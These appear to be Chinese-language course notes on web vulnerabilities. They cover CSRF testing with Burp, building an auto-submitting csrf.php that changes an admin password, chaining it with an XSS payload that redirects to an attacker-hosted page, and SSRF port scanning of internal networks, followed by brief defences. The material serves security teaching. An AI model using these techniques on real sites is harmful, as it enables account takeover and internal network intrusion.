xss和csrf的区别:
一个用户有一个支付功能,如果是csrf漏洞可以编写esp发送给用户,用户点击之后会返回给我们黑客是xss如果不需要返回直接执行了转账请求就是csrf。
csrf是跨站请求伪造,我们攻击者只要提供一个伪造的页面就可以。
用户有自己的cookie,如果是在登录状态下则点击某连接就直接进行转账,不像上节课讲的获取cookie然后黑客复现cookie进行转账。
进入留言板管理员界面,查看源代码,使用burp抓包,发现是post请求方式,有一个请求正文,那如果构造页面控制请求方式、请求资源、请求正文、refer(来源的意思,即请求发起页面)。
抓包后将refer等删除可以看到go之后仍能重放请求:
这是一种验证csrf存在的方法,就是将包的头部性质部分删除仍能重放请求。
可以生成一个poc来验证是否存在csrf漏洞。
在Burp界面右键->tools->生成poc:
生成结果:
将站点名字修改为hacker,点击下方的test in browser将生成的url复制在浏览器下运行可以看到网站名称已经更改如上图为hacker。
危害:可以将网站管理员姓名密码给修改掉。
可以将生成的poc中的form表单复制,将站点名字管理员密码修改,将确认按钮删除,保存为csrf.html:
再次登录就会发现密码已经被修改。
再将这个csrf.html修改成csrf.php增加一段php代码:
如果有人执行这个csrf.php就会触发这个form表单自动提交并且将执行结果“ok"记录在本地getip.txt中:
触发方法:url访问csrf.php:
你可以在平行用户的个人中心测试是否存在csrf,再注册一个账户测试是否可以通过csrf攻击。
(但是问题是怎么抓包呀,,)
-作业:完成csrf实验
CSRF和反射型XSS组合拳
存在这样一个页面:
post提交在url中看不到传递的参数,同样抓包可以看到post请求的正文。
那为什么我们我这里不能使用csrf呢?
将刚才的csrf.php修改成如下:
然后用上一节所讲的从留言板留言"><script>document.loaction.href="http://192.168.0.109/mst/csrf.php</script>
去触发该csrf.php修改管理员密码文件。
思维不要局限在存在漏洞的功能点上,访问百度页面本身就是一个csrf。
SSRF
csrf是客户端的跨站请求伪造(浏览器)
ssrf是服务端的请求伪造,这个漏洞是让网站的服务器去请求,不存在跨站。
跳板:基于一个网站去攻击别的网站。
你输入的网址让百度翻译的服务器去访问了没有让自己的客户端去访问。
ssrf第二个功能:探测内网存活端口:
同样可以使用burp**与探测存活的端口:
先抓到一个包:
抓包之后放到intruder**
将端口80设置为变量然后设置**参数(绝了)
同理也可以将ip段的每一段设置为变量进行**(**策略使用最后一个策略比较全):
ssrf常存在一些转码翻译页面中。
怎么验证ssrf是否存在?
写一个脚本(见下图)让服务器访问,如果存在就可以获取访问的服务器ip并记录。也可以抓包判断是否存在漏洞,如果是ssrf跳板访问则会一个请求发送先后两个包。
ssrf防范:
1.下线功能点。
2.白名单,只限制网站才能在该功能点去访问,其他网站不能访问